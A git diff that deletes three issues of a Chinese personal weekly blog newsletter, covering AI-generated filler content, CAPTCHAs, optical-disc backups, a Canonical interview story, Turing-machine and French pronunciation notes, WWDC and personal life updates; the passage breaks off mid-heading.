Notes 识别模式比较相似,用起来应该会舒服很多吧。 diff --git a/content/posts/weekly/32.md b/content/posts/weekly/32.md deleted file mode 100644 index 74de563a..00000000 --- a/content/posts/weekly/32.md +++ /dev/null @@ -1,269 +0,0 @@ -+++ -title = "稻草人周刊 Vol.32" -subtitle = "「无人在意」时代" -tags = [ - "AI", - "创作", - "消费主义", - "互联网文化", - "计算机", - "Geek", - "生活", - "权威", - "技术", -] -date = 2025-06-09 11:57:00 -categories = "稻草人周刊" -banner = "https://r2.eltr.ac/IMG_4040%20Large.jpeg" -draft = false -toc = true -related_cards = [ - "图灵机和可计算性理论", - "法语中不发音的字母", - "liaison", -] -endnotes = [ - "封面图自摄,设备为 iPhone 15 Pro", - "封面图是校园里的马鞭草,每年夏天开花都很漂亮", -] -aliases = [ - "/posts/weekly/32", -] -+++ -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="150" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/manchild/1818103444?i=1818103445"></iframe> - -一起欣赏 Sabrina Carpenter 带来的夏日小品吧。我觉得匠妹的作品一直有一些凝视男性的意味,有人称她为 Horny Shakespares,我也挺喜欢这个说法的。 - -> Why so sexy -> -> If so dumb -> -> And how survive the earth so long - -> Oh, I like my boys playing hard to get. -> -> And I like my men all incompetent.<!--more--> - -## 🙋 在做什么 - -这几天在家做饭,还不太会把控量,每一顿都是能把自己撑死的程度,但不得不说,自己仅凭感觉配菜、凭感觉加调料,做出来的东西都还挺好吃的。特别是那碗青椒意面,好吃得出乎意料了。 - -{{< gallery >}} - - - - -{{</ gallery >}} - -因为每顿都吃很多菜,摄入了很多膳食纤维,这周几乎没吃零食也没点过夜宵,感觉在往比较健康的方向发展。 - -顺带一提,这周二其实是我的农历生日,下周六也就是 14 号,是我的新历生日。因为生日那天还在上课,所以没什么过生日的感觉。等到 14 号,我就正式步入二十岁啦。 - -## 💬 本期杂谈 - -### 「无人在意」时代 - -> [!note] 📜 -> 文章链接:[The Who Cares Era](https://dansinker.com/posts/2025-05-23-who-cares/) - -最近,美国的两家纸质媒体在自家的增刊上填入了大量 AI 生成的垃圾,其中的「夏日导读」栏目列出的 15 本书中,居然有 10 本书的书名和作者全是 AI 捏造的。这一新闻让作者感到最愤慨的不是报纸也用 AI 敷衍了事的行为,而是在这整个过程中——**没有一个人在乎**。 - -> The writer didn't care. The supplement's editors didn't care. The biz people on both sides of the sale of the supplement didn't care. The production people didn't care. And, the fact that it took *two days* for anyone to discover this epic fuckup in print means that, ultimately, the reader didn't care either. -> -> 作者不在乎。增刊的编辑不在乎。销售两边的业务人员也不在乎。制作人员不在乎。而且,过了**两天**才有人发现这个天大的失误,事实证明,最终,读者其实也不在乎。 - -作者认为,AI 生成的作品对大多数人来说都足够好了(good enough),因为大多数人根本就不在乎。作者从自己录制播客的经历中感受到,他们做出来的东西最终都会成为这样的存在: - -> Some dude talking to some other dude about apps that some third dude would half-listen to at 2x speed while texting a fourth dude about plans for later. -> -> 某个人跟另一个人讨论应用程序,只是为了让第三个人漫不经心地开着二倍速听着,一边还和第四个人发短信讨论接下来的安排。 - -一些内容就是为了被消费而创造的。 - -作者在阅读一些申请书的时候也发现了大量的 AI 痕迹,这让他感到厌烦。在机器吐出来的文字之间,当他终于发现一个完全由人类写出来的申请书时,他觉得那些字发出了令人愉悦但同时又略带忧伤的光芒,并且每一次转折都令人难以预料。 - -那是人类的文字,由真正在乎的人书写。 - -在「无人在意」时代,你能做的最叛逆的事情就是:做自己,变得不完美,当好一个人类,**去在乎**。 - -[#创作](/tags/创作/) [#AI](/tags/AI/) [#消费主义](/tags/消费主义/) [#互联网文化](/tags/互联网文化/) - -### 光盘是一种可靠的存储介质 - -> [!note] 📜 -> 文章链接:[The Reliability of Optical Disks](https://blog.ligos.net/2022-04-02/The-Reliability-Of-Optical-Disks.html) - -作者表示他有大量的长时间不需要读取,但需要保留的数据。尽管比机械硬盘还要贵一些,但他选择了光盘作为这些数据的存储介质,原因是: - -1. 只要避免阳光直射,光盘里的数据就能储存十多年的时间,不需要像硬盘那样较频繁地维护。 -2. 光盘是完全离线的物理介质,一般没有人会把它连接到服务器上;既然不连接到云端,数据的安全性就得到了非常可靠的保障,就像写在纸上一样(只要没人偷走你的光盘)。 - -当然,光盘也有很多问题,比如读取速度慢、容量较小、需要额外的目录应用来快速找到光盘中存储的文件,而且光盘更贵,还不是如今的主流存储介质,要买到相关设备可能没那么方便。 - -不过,作者仍然认为光盘是进行长期数据存储的可选方案,任何人需要离线、防勒索、20 年以上备份的,都应该考虑光盘。作者最推荐的光盘是 BluRay M-Disc。 - -[#计算机](/tags/计算机/) [#Geek](/tags/geek/) - -### 人机验证不再有用 - -> [!note] 📜 -> 文章链接:[CAPTCHAs are over](https://behind.pretix.eu/2025/05/23/captchas-are-over/) - -在网络售票的应用中,人机验证已经不再有用了,根本无法防止黄牛用机器人抢票。 - -作者指出,人机验证的基本逻辑是让用户解决「人类很容易解决,但计算机难以解决的问题」,但随着软件的发展,尤其是人工智能的兴起,这样的问题越来越少了。文字必须要复杂到人类也难以解决,才能防止 AI 识别,基于图像和音频的验证也是如此。 - -另一种今年来流行的人机验证方式在一定程度上解决了这个问题,也就是基于机器学习的人机验证,通过分析用户的网络环境和鼠标运动轨迹等信号来判断用户是不是机器人。但作者指出,这种验证方式非常不利于个人隐私,而且新用户和使用辅助技术访问网站的用户很容易被错误地识别为机器人。对于残障人士来说,被人机验证挡在网站外是很难受的。作者认为,冒着把一群用户挡在外面的风险防止机器人,不仅缺乏专业素养,而且可能会面临法律责任。 - -还有一种策略是让计算变得「昂贵」。通过在验证时让用户的计算机计算冗长的哈希函数,消耗算力资源,让大规模机器人访问变得昂贵。但作者认为这也是有问题的,因为黄牛每卖一张票能赚好几百,根本不在乎这点价格。这种策略用来对付 AI 爬虫或许有用,我想起之前 Hacker News 有人用压缩包炸弹(ZIP Bomb)[^1]防止恶意爬虫访问自己的网站。 - -作者还指出,现在网上有付费服务,可以雇佣第三世界国家的廉价劳动力,让真人帮自己的机器人通过人机验证,而且速度还很快,价格也很低。只要黄牛有利可图,就不担心这点成本。 - -就算用手机号、ID 之类的身份证明绑定门票,黄牛仍然可以通过售卖机器人抢票服务赚钱,而且这对普通用户来说不太友好。 - -作者借鉴数据库系统的 CAP 理论,提出了 BAP 理论,即在 Bot-resistance(防机器人)、Accessibility(无障碍)和 Privacy-friendly(隐私友好)中只能三选二,不可能同时保证三者。 - - - -[#计算机](/tags/计算机/) - -### 如何对抗失序? - -> [!note] 📻 -> 播客链接:[Apple Podcast](https://podcasts.apple.com/cn/podcast/%E7%8B%AC%E6%A0%91%E4%B8%8D%E6%88%90%E6%9E%97/id1711052890?i=1000710489598) / [小宇宙](https://www.xiaoyuzhoufm.com/episode/6837f04c38dcc57c648c8b97?utm_source=rss) - - - -生活的失序是原有的秩序被扰乱,导致个体陷入痛苦、纠结和自责当中,或者在摆烂中无法自拔。播客主提到的「因为工作太忙导致无暇顾及生活,看着水槽里一大堆没洗的盘子陷入自责」,真的很能令我感同身受。我自己多次因为事情太多,眼睁睁地看着自己的生活烂成一团,导致心态崩溃,以至于在外人看来,我似乎有些情绪不稳定。[^2] - -播客主给出的解决方案是:耕种自己的花园,接受失序是生命的常态。 - -她提到自己将「种豆苗」作为对抗失序的一种方式,因为这能让人感受到生活中还有一些东西是完全受自己掌控的,自己有一件每天都要去做的事情。我觉得这很值得尝试,我之前尝试在宿舍养过栀子花和葡萄风信子,它们最终的归宿都是垃圾桶,我还内疚了好久。种豆苗就不会了,尽管播客主自己也说曾经不敢打开柜子看,把豆苗养发霉了,但至少这是一件成本低、可以随时从头再来的事情。 - -另外,我觉得耕种数字花园其实也是很好的应对失序的方法。对我而言,每周写周刊,感受想法和文字在我的编辑器里一天天变多,也会给我一种秩序感。 - -[#生活](/tags/生活/) - -### 权力、决策与个人意见 - -> [!note] 📜 -> 文章链接:[My experience with Canonical's interview process](https://dustri.org/b/my-experience-with-canonicals-interview-process.html) - -Canonical(科能)是一家支持并创建自由开源软件(FOSS)的公司,被广泛运用的 Linux 发行版 Ubuntu 就是他们创建并维护的。作者分享了他在这家公司面试的经历,体验非常糟糕。 - -从作者列出的时间线来看,他从 2023 年 10 月就开始提交申请,期间被拒了好几次(而且都是系统自动发出的、没有人情味的邮件),在 2024 年 9 月底被拒后彻底放弃了这家公司,并且在接下来的半年里通过法律手段要求 Canonical 给出被拒的原因。 - -Canonical 给他发来了长达 300 页的 PDF 文档,其中,几乎所有的面试官都给出了乐观的评价,并且表示「愿意雇佣此人」,只有公司的 CEO,Mark Shuttleworth 给出了消极的评价,认为面试者没有好好回答他的问题,不关注自己不感兴趣的话题,没有合格的团队沟通能力。 - -然而,作者表示,在面试过程中,Shuttleworth 在一开始根本就不了解他想要面试的职位,问的问题也和他的工作内容无关,更别说技术性问题了;Shuttleworth 一直询问作者在高中的排名如何、自己的大学是怎么样的,尽管作者已经有了很多年的工作经验,应聘的岗位也是高级(senior)职位,在作者的回答之后,Shuttleworth 还厉声警告他「别耍花招」[^3];而且,Shuttleworth 在面试的一开始没有自我介绍,在面试途中,有人给他端来一个盘子,他没有打招呼就自顾自地吃了起来。 - -在 Canonical 的笔试环节中,也有很多有关学校的问题,还有一些像是给幼儿园小孩子做的智力题。作者觉得这很奇怪,在十几场面试当中,他居然没怎么被问到技术相关的问题。而且,即使在这么多场面试中都得到了面试官的认可,最终居然因为一个人的意见被拒绝了;他很好奇,如果作出这番评价的人不是 Shuttleworth 而是别人,会不会对最终雇佣的决策有这么大的影响。 - -读完这篇文章,我感受最大的是公司里雇员对这样一个不讲理的 CEO 的无奈——在面试的一开始,就有员工告诉作者「你应该在笔试题里撒谎,不然会被直接筛掉的」;作者得知自己申请的职位已经空缺了 18 个月,询问原因时,面试官只是笑了笑,没有说话。 - -尽管我知道这很不理性,但我去 Wikipedia 上搜了 Mark Shuttleworth 这个人,看到他的照片之后立刻觉得「这下合理了」。 - -[#权威](/tags/权威/) [#管理](/tags/管理/) - -### Deep Learning vs. Deep Fact Checking - -> [!note] 📜 -> 文章链接:[Rachel Thomas, PhD - Deep learning gets the glory, deep fact checking gets ignored](https://rachel.fast.ai/posts/2025-06-04-enzyme-ml-fails/index.html) - -作者指出,深度学习这种技术看起来非常光鲜亮丽,更容易受到关注,以至于人们忽略了更注重事实的研究。这一现象居然在学界也十分常见。 - -一篇使用 Transformer 模型对酶编码基因(enzyme-encoding genes)进行预测的论文,被发表在了 Nature 上,并且获得了极高的关注;但另一篇指出使用深度学习模型预测酶功能的局限性的论文,几乎没有人看。 - - - -作者指出,那篇阅览量极高的论文中,AI 做出了 450 条预测,其中 135 条是已经有人研究、证实过的,148 条是高度重复的(highly repetitve),有一些在生物学层面完全是不可能实现的,违背了一些基本原理。 - -作者指出,使用 AI 的一部分人有一些迷思,认为 AI 帮自己拉低了专业门槛,以至于在接触自己不熟悉的领域时,一些人觉得仅借助 AI 的帮助就足够了,而无需相关领域的专业人士。结果是,一些从未经过专家核查过的研究结果被堂而皇之地发表了出来。关于这点,我在《[AI 正在让人变得前所未有地自以为是](/posts/ai-正在让人变得前所未有地自以为是/)》一文中也讨论过。 - -更令人痛心的是,这些用 AI 作为噱头的成果,比那些集成了深度的专业知识(deep domain knowledge)、仔细检查底层数据(closely inspect underlying data)的成果,更容易得到关注。 - -人们关注的不是事实,而是技术潮流。 - -[#技术](/tags/技术/) [#AI](/tags/AI/) - -## 💡 新知复盘 - -### 图灵机 - -图灵机(Turing machine)是一种理想的计算模型,是一种假想的由纸带、读写头和一定计算规则组成的机器,可以用来模拟任何可以计算的问题。你可以把图灵机理解为一种抽象的、通用的计算机。 - -#### 图灵可计算性 - -如果一个函数可以被图灵机计算并得出答案,这个函数就具有图灵可计算性(Turing-computability)。从现实层面来讲,任何可以在计算机上模拟的问题都是图灵可计算的,只要这个问题可以由计算机程序给出答案而不会陷入死循环。 - -停机问题(Halting Problem)不是图灵可计算的,它要求计算机判断一个程序在给定的输入下会停机还是会陷入死循环。图灵机和任何计算机都不能解决它。 - -```C -// 停机问题的伪代码表示 -int H(procedure,Input); -int U(P) -{ - while(H(P,P)){} - return 0; -} -``` - -#### 图灵完备 - -如果一个系统(一系列操作数据的规则)可以模拟图灵机(Turing machine),就说它是**图灵完备**的(Turing-complete)。简单来说,具有图灵完备性的系统可以识别另一个系统的数据操作规则,图灵完备的计算机或计算机语言可以模拟另一种计算机或计算机语言的行为和用途。 - -- 几乎所有编程语言都是图灵完备的,这表示几乎所有编程语言都可以被用来重新编写由另一种编程语言实现的计算机程序,能实现其他语言也能实现的功能。如果一个编程语言能实现条件判断、循环和变量,它基本上就是图灵完备的。 -- 标记语言(数据语言)不是图灵完备的,比如 JSON、XML、HTML 和 Markdown,因为他们只能描述数据而不能描述行为。 - -如果一个系统是图灵完备的,那它就可以被用来模拟另一个图灵完备的系统。也就是说,这两个系统是图灵等价的。 - -#### 图灵等价 - -如果系统 A 可以模拟系统 B,而系统 B 也可以模拟系统 A,那么系统 A 和系统 B 就是**图灵等价**的。 - -所有图灵完备的系统都是图灵等价于图灵机的。 - -<span style="font-size:80%">Source: [图灵完备性 - 维基百科,自由的百科全书](https://zh.wikipedia.org/zh-cn/圖靈完備性)、[可计算性理论 - 维基百科,自由的百科全书](https://zh.wikipedia.org/zh-cn/可计算性理论)</span> - -### 法语中不发言的字母 - -Les lettres muettes: - -1. 单词末尾的 P、D、T、S、X 和 Z - - 如:froid、trois、petit、deux -2. 复数形式单词末尾的 S 和 X - - 如:châteaux、étoiles、voitures<!--more--> -3. 单词末尾的 E - - 如:table、pomme、robe、**porte**、vie - - 值得注意的是,在末尾有 E 的情况下,在 E 之前的原本不发音的字母需要发音,例如 porte 中的 T 原本不发音,但因为 E 的存在,T 需要发音 -4. 复数形式动词末尾的 -ENT - - 如:parlent、mangent、choisissent - -[联诵](/cards/liaison/)(liaison)会激活原本不发音的辅音。 - -<span style="font-size:80%">Source: [YouTube](https://www.youtube.com/watch?v=sSCEoAWw0q4)</span> - -### 联诵 - -联诵(liaison)是法语的语法规则之一。当前一个词以辅音结尾(通常是[不发音的](/cards/法语中不发音的字母/)),后一个词以元音或哑音 h 开头,前一个词末尾的辅音会被激活,与后面的元音连接起来,使得语音连贯自然。 - -例子: - -- les^amis -- vouz^avez -- petit^enfants - -法语的联诵和英语的连读(linking sound)的区别在于:联诵是强制要求的语法规则,有正确和错误之分,而且联诵还会要求在发音时加入新的音素(即原本不发音的字母需要发音了);连读是自然的语音现象,连读的有无仅仅是口音的差别。 - -## 🗣️ 碎碎念 - -- 一些人看到大语言模型堆砌词藻来描述它从未见过也不可能会见到的东西,就觉得机器的文学性已经赶超常人了,本质上,这些人既不懂软件,也不懂文学,真是把自己的无知展现得淋漓尽致。 -- 有两本书卖给多抓鱼之后才发现是盗版,我还收藏了两年啊 😱 -- 突然想喝茶,在超市买菜的时候顺带买了一盒茶包。在货架面前纠结良久,最终选了绿茶。很喜欢绿茶的香气,泡出来我也觉得好喝。喝的时候突然想到,绿茶难道不就是浅度烘焙的茶叶吗?喝咖啡的偏好居然也迁移到茶叶上了。 -- 经历过生日当天考试,生日当天高考查分,新历生日还和四六级考试在同一天(虽然自己早就考过了),这么看来,生日当天满课似乎也不算什么。 - -[^1]: 一个体积很小但解压后能达到 PB 级别的压缩包 - -[^2]: 虽然我有一个阴暗的想法:那些不容易因为生活失序而情绪失控的人,除了情绪稳定的一部分,另一部分人可能在平常的生活中就没什么秩序,本来就过得挺烂的。 - -[^3]: "don't play games, don't try to muddle your answers. I'm interviewing you for a senior position, I'm asking you questions, I'm expecting straight answers." diff --git a/content/posts/weekly/33.md b/content/posts/weekly/33.md deleted file mode 100644 index 85bfb609..00000000 --- a/content/posts/weekly/33.md +++ /dev/null @@ -1,127 +0,0 @@ -+++ -title = "稻草人周刊 Vol.33" -subtitle = "技术拯救不了无趣的灵魂" -tags = [ - "AI", - "设计", - "健康", - "习惯", - "人际交往", -] -date = 2025-06-16 07:51:00 -categories = "稻草人周刊" -banner = "https://r2.eltr.ac/picgo2025/20250616-weekly-banner.jpeg" -draft = false -toc = true -endnotes = [ - "封面图自摄,设备为 iPhone 15 Pro", -] -aliases = [ - "/posts/weekly/33", -] -+++ -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="150" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/summerboy/1440818588?i=1440818809"></iframe> - - - -## 🙋 在做什么 - -周六是我的新历生日,和朋友去海底捞聚餐啦。每次生日都在考试月,还和四六级考试在同一天,要约人出来真的好难,毕业以后摆脱考试了兴许就不用过这样东拼西凑的生日了吧。 - -{{< gallery >}} - - - - -{{</ gallery >}} - -把照片发出来才意识到自己二十岁了,很奇妙。 - -## 👀 在看什么 - -### 苹果 WWDC 公布新设计语言:Liquid Glass - -> [!note] 📺 -> 直播回放:[Bilibili](https://www.bilibili.com/video/BV1KMT6zREsd/) - -因为在 WWDC 之前看了太多小道消息,所以对这次的设计大改有所预期。之前还听说 Apple 要把所有系统的应用图标都改成和 Vision OS 一样的圆形,还有些期待,结果没改,有些小失落。 - -我不打算对这次的系统更新做太多评价,毕竟现在只发布了一个 Developer Beta 版本,我只能说设计理念我其实挺喜欢的。我不觉得 Liquid Glass 和 Windows Vista 是同一个东西。好多人说这是毛玻璃,但 iOS、MacOS 等系统的 UI 一直是毛玻璃,Liquid Glass 是另一个东西。 - -据说 Apple 之前把系统全部改成扁平化设计的时候也有好多人骂,但最后其他厂商也跟着抄,**新设计成不成功还是得靠时间检验**,我要是在这么早的时候就妄下定论,大概在几年之后会显得很蠢,毕竟我已经看到有人把 iOS 7 刚发布的时候,网友甚至网红骂苹果甚至希望苹果完蛋的言论翻出来了。 - -关于设计语言的问题,我一直关注的一个设计博主做了[一期视频](https://www.bilibili.com/video/BV1p7MNzREBP/),我觉得他讲得足够专业且客观。 - -PS. 我不打算更新 Developer Beta 版本的系统,也不打算在 Public Beta 发布之后更新尝鲜。 - -PPS. 我喜欢 Apple Music 的无缝切换,效果真的很惊艳,虽然有点像没活硬整出来的 AI 应用。 - -[#Apple](/tags/apple/) [#设计](/tags/设计/) - -### 《Hamilton》十周年 - -> [!note] 📺 -> 视频链接:[78届托尼奖颁奖礼《汉密尔顿》(Hamilton) 现场精彩表演](https://www.bilibili.com/video/BV1cmTozAEEL/) - -不关注 Tony Awards,但《汉密尔顿》十周年真的很惊喜。同时也觉得挺可惜的,这部音乐剧十周年了,我大概是没有机会看到现场版了。看完的感受是:I wanna be in the room where it happens…… the room where it happens…… the room where it happens…… - -另,颁奖礼的主持人居然还是 Cynthia Erivo,电影《魔法坏女巫》中 Elphaba 的扮演者。 - -## 💬 本期杂谈 - -### 微妙的奇点 - -> [!note] 📜 -> 文章链接:[The Gentle Singularity - Sam Altman](https://blog.samaltman.com/the-gentle-singularity) - -奇点(Singularity)是一个科幻小说家创造的概念,用来描述一个 AI 开始爆发式增长的时间节点。Sam Altman 在这篇文章中指出,奇点可能要比想象中更「缓和」和「平滑」——如果我们向 2020 年的人描述 2025 年的 AI 发展,那听起来可能不太现实,但实际上 AI 达到现在的程度确实只经过了五年。 - -我很认可的一个观点是,Sam Altman 认为 AI 是一种**工具**,暗示人类依旧是主体。他指出,未来人人都能创造软件和艺术,但仍然会有专家和普通人的区分,只要专家也愿意接受这种新工具的话。在我看来,创造软件的能力与水平高低无关,创造艺术的能力与审美高低无关;==不只是 AI,任何一种技术发展,在降低某一门槛的同时,也在提高上限和好的标准,提高平均水平的同时最高值也被提高了==。很多人意识不到人是工具的使用者,自己想法的贫瘠和灵魂的无趣无法被技术发展解决——我仍然认为 [AI 正在让人变得前所未有地自以为是](/posts/ai-正在让人变得前所未有地自以为是/)。 - -此外,Sam Altman 反复强调 AI 会提高整个社会的生产力,包括科研,人类社会的发展速度会越来越快,呈指数级增长。不过,我还不太能想明白的是:为什么要追求快?以及发展究竟有没有尽头?有没有最高值? - -[#AI](/tags/ai/) [#技术](/tags/技术/) - -### 孤独流行病 - -> [!note] 📺 -> 油管链接:[The Loneliness Epidemic, in Data: Who Americans Spend Time With](https://www.youtube.com/watch?v=h7w339vE2F8) - -The Pudding 通过统计数据指出,自 1976 年以来,人们和自己相处的时间正在增加,和家人朋友相处的时间则普遍在减少,这一趋势在年轻人群体中最为显著。通过记录样本每小时正在做的事情,来分析他们陪伴家人朋友的时间,他们发现有一半认为自己过得很糟糕的人,在一天里几乎不会和任何人有交流。 - -社交隔离会导致过早死亡的概率增加 50%,效果与每天吸 15 根雪茄或者每天喝 6 杯酒一样。视频的最后提到了一个很有意思的观点:==人们躺在床上整夜刷手机、看电视,可能只是不想孤独地睡去而已。== - -独居后,我的孤独感变得愈发明显,漫无目的地刷信息的时间也明显增加了,我在快一个月的时间里好像什么有意义的事情都没有干。我想是我不得不面对孤独,但却只会使用电子产品来逃避现实。一个令我瞠目结舌的事实是:哪怕和我共处一室的人是连呼吸都让我讨厌得想把他脑袋拧下来的存在,那也比一个人也没有更让人觉得安全。不过,除了建立更牢固、更有价值的关系,「如何独处」可能是所有人都需要面对的课题。我这周还写了[一篇关于塔罗牌中隐士牌的文章](/posts/玫瑰为自己还是为人开/),也是在尝试回答「如何面对孤独?」这个问题。 - -[#人际交往](/tags/人际交往/) [#健康](/tags/健康/) - -### 人体系统调优不完全指南 - -> [!note] 🐙 -> 仓库链接:[GitHub - zijie0/HumanSystemOptimization](https://github.com/zijie0/HumanSystemOptimization) - -~~到了 20 岁就该开始养生啦!~~ - -一篇很详尽的关于人体健康的科普文章,包含不少具体的行动建议,涵盖了睡眠、饮食、精力等多个方面。我自己觉得比较适用,已经开始尝试或者打算尝试的有: - -1. 早上洗冷水澡。洗冷水澡身体会产生热量维持体温,在早晨洗冷水澡可以在身体在早上时体温上升,把睡眠周期往前移,帮助早起。相对应的是晚上锻炼身体,会让晚上的体温升高,会延后周期,但我真的很难做到早上运动完湿着身子去上课或者上班。 -2. 中午吃低卡以及含酪氨酸的食物,提升多巴胺保持清醒;晚上可以多吃淀粉,白肉等富含色氨酸的食物,转化为血清素之后会让人感到平静。不知道这和「晕碳」是不是同理;对我来说有些反直觉,因为我一直觉得晚上应该少吃淀粉和主食,碳水都集中在午餐(难怪下午精神不好)。最近有在根据这条建议调整自己的饮食结构。 -3. 间歇性禁食对身体有诸多好处,而且还能让身体倾向于代谢脂肪来提供能量,控制体重。我两年前在减肥的时候,一直在执行 8 小时进食法,也就是把自己的三餐控制在八小时内,其他的十六个小时内不吃任何东西;这两年一直不吃早饭,晚饭几乎也都是在六到七点之间吃的,所以也接近 8 小时轻断食。我在两年前从 210 斤减到 165 斤之后一直没反弹,反而体重一直在平缓下降,前几天上称时,我的体重是 142 斤左右。养成这种易瘦体质的原因可能就和间歇性禁食有关吧,不过,不吃早饭到底有没有明显的坏处,我不确定,但我目前还没感受到。 - -原文很长,读者可以自行查阅感兴趣的章节阅读。其中有一条很重要的建议「保证睡眠的时长和质量」,我一直做得不太好,平均时长勉强能达到 6 小时,这不算健康。接下来我打算重点练习早睡,因为早起对我来说不算难事,放下手中的事情安心睡觉才难。[^1] - -另外,这一小节的内容似乎回答了上一小节的问题:如何面对孤独——独处的时候对自己多一些关心。 - -[#健康](/tags/健康/) [#习惯](/tags/习惯/) - -## 🗣️ 碎碎念 - -- 下午没有安排,本以为中午能回家,所以准备好了食材准备回家做饭,药也没有带。结果下课之后收到一条临时通知,告诉我 13:00-14:00 这段时间要上一个莫名其妙的实践课,到场之后老师也没来,二十多分钟后老师临时委托另一个老师讲了五分钟就让学生走了(甚至连名都没点)——所以害我不能按时服药的理由是……? -- 体验了海底捞的经典唱歌庆生服务,预定的时候其实还有「E 人社牛版」和「I 人社恐版」两个版本…… 好像很贴心,但这名字起得我哪个都不敢点 🫣 -- 每天都被自己这个会做饭的男人迷晕, ~~我怎么就找不到像自己这样的男人呢?~~ -- 最讨厌的网络用语是扣问号,面对别人的观点只发一串「???」只是在表达不理解,而当你不理解的对象实际上正在清楚地阐释自己的观点时,**表达不理解只是在展示无能**。 -- 在 KTV 唱歌因为歌单和朋友的差异太大,我点的歌几乎都是我独唱,然后就会出现一些尽管经常听但不会唱或者整段垮掉的歌,但有一部分又很不错,听众的反响也挺好,于是我做了一件挺自恋的事情——把自己擅长在 KTV 唱的歌列了出来,放在了备忘录里。我写了 Taylor Swift 的《Sparks Fly》、Rihana 的《Umbrealla》和 Lady Gaga 的《Vanish Into You》。 -- 库迪的橙 C 美式难道不就是有焦苦味的勾兑橙汁吗?咖啡的味道是真尝不出来。 -- ~~二十岁之后就不能跟别人说自己才十几岁装嫩了啦,好可惜哦~~ - -[^1]: *正在写这段文字的我看着即将和时针一起指向 12 的分针陷入了沉思* diff --git a/content/posts/weekly/34.md b/content/posts/weekly/34.md deleted file mode 100644 index 415e6f97..00000000 --- a/content/posts/weekly/34.md +++ /dev/null @@ -1,190 +0,0 @@ -+++ -title = "稻草人周刊 Vol.34" -subtitle = "务实创作者的成长曲线" -tags = [ - "AI", - "创作", - "计算机", - "设计", - "人际交往", -] -date = 2025-06-23 10:45:00 -categories = "稻草人周刊" -banner = "https://r2.eltr.ac/picgo2025/20250623-weekly-banner.jpeg" -draft = false -toc = true -endnotes = [ - "封面图自摄,一两年前用 HUAWEI P40 拍的", -] -mentioned_books = [ - "一生之敌", - "红与黑", -] -aliases = [ - "/posts/weekly/34", -] -+++ -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="150" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/vanish-into-you/1792666546?i=1792667011"></iframe> - -我觉得有的歌可能要听过现场版或者自己唱过一遍才能理解创作者想表达的意思和情感。自己听歌的时候,不够抓耳的录音室版本总是不会留下太多印象,认真理解歌词之后,就会在一些闲暇时刻莫名其妙地在脑子里响起来。<!--more--> - -## 🙋 在做什么 - -我一直在想写作这件事情除了带来内在的升华,能不能给我带来一些外在的收入,但我又不想为别人写作,我也不希望有人因为种种原因没法访问我写的内容。这周发现了 [MoreToThat](https://moretothat.com) 这个博客,作者的内容都是公开的,但是他会出售文章的 PDF 版本供读者离线阅读,我认为这是一个不错的想法,至少是值得尝试的。 - -所以我把《人类恶疾》这一个文章系列现有的八篇文章整理了一下,做了些修订,做成了电子版,提供 EPUB、MOBI 和 PDF 三种格式。如果你偏好离线阅读,可以选择花 9.9 购买电子版的《人类恶疾》;这个版本的内容和我发布在博客上的没有太多区别,但移除了一些外部链接、时效性较强的内容和口语化的措辞,阅读体验应该会更沉浸一些;一部分文章还附加了「后记」,主要是把文章在发布后得到的值得反思的评论也加上去了。 - -你可以在面包多上购买[《人类恶疾》电子书](https://mbd.pub/o/bread/YZWUmZ5taA==)。 - -另外,做成电子书的形式才发觉几千字的博客文章还真是短啊,八篇文章加起来也没几页。电子书的阅读体验的确要比在网站上读好上不少,看到自己写的文章出现在自己的 Kindle 和图书软件里,感觉还真是挺奇妙的。 - -{{< gallery >}} - - -{{</ gallery >}} - ---- - -给博客加上了「点赞」功能,在每篇文章的右下角会有一颗心脏,点击可以「为这篇文章献上心脏」。这么做的原因是,不是所有的读者都会留下评论,用 Umami 统计的浏览量数据看起来也有些生硬,而 Giscus 的回应功能需要登录才能使用,所以就做了一个不需要登录的点赞功能。 - -如果你觉得这期周刊不错,可以在右下角点一下让我知道。 - -## 💬 本期杂谈 - -### 务实创作者的成长曲线 - -> [!note] 📜 -> 文章链接:[The Arc of the Practical Creator](https://moretothat.com/the-arc-of-the-practical-creator/) - -作者认为,对于创作者来说,创意就是真实的表达的欲望,而这种欲望不容易受到认可,尤其是在刚开始创作的时候。可以说,创意越多,实用性也就越低。创意可能是不实用的,但创作者可以是务实的。 - -作者认为互联网改变了上面这种局面,有创意的人越来越容易被发现了,人们也逐渐变得开放,愿意为他们欣赏的作品付费。只不过,在一开始,没有人在乎,几乎所有的创作者在一开始都是无名小卒。 - -作者根据自己的经验,把务实创作者的成长历程分为三个阶段。 - - - -第一个阶段的主要目标是赚钱。在这个阶段里,创作者需要有一份能带来可观收入的工作,这个工作可以是自己讨厌的、和爱好毫无关系的。在《[黑客与画家](/library/2025/黑客与画家/)》中,Paul Graham 也有提及相似的观点,他觉得程序员如果要做出有趣的软件,就需要一份 Day Job(白天的工作)为自己带来收入,同时在空闲时间里做自己喜欢的项目。这篇文章中,作者也提到创作者应该在工作之余做自己喜欢的创作,这能建立自己作为创作者的自信。 - -第二个阶段的主要目标是忍受平台期。从第一个阶段到第二个阶段,说明创作者已经辞掉了工作,决定把所有的注意力都投入到创作上了(前提是已经攒够了钱)。尽管有第一阶段的铺垫,但此时创作者仍然是新手上路,作品无人问津也是常事,但创作者需要关注自己的感觉,感受寂静的质感(Texture of Silence)——作品没人看究竟是自己能力不足,还是时机未到,自己有没有在成长,这要看自己的感觉。 - -第三个阶段,创作者就要把创作当作自己的事业了,自己能够从创作者获得金钱回报和自信心。第三个阶段也不代表痛苦就停止了,就像《[一生之敌](/library/2025/一生之敌/)》里说的,创作这条路本身就是痛苦的。 - -简而言之:赚够钱之后专注创作,度过平台期之后全情投入,但也要随时准备好回到上一个阶段重新开始。 - -[#创作](/tags/创作/) - -### 多次重新认证并不能提升安全性 - -> [!note] 📜 -> 文章链接:[Frequent reauth doesn't make you more 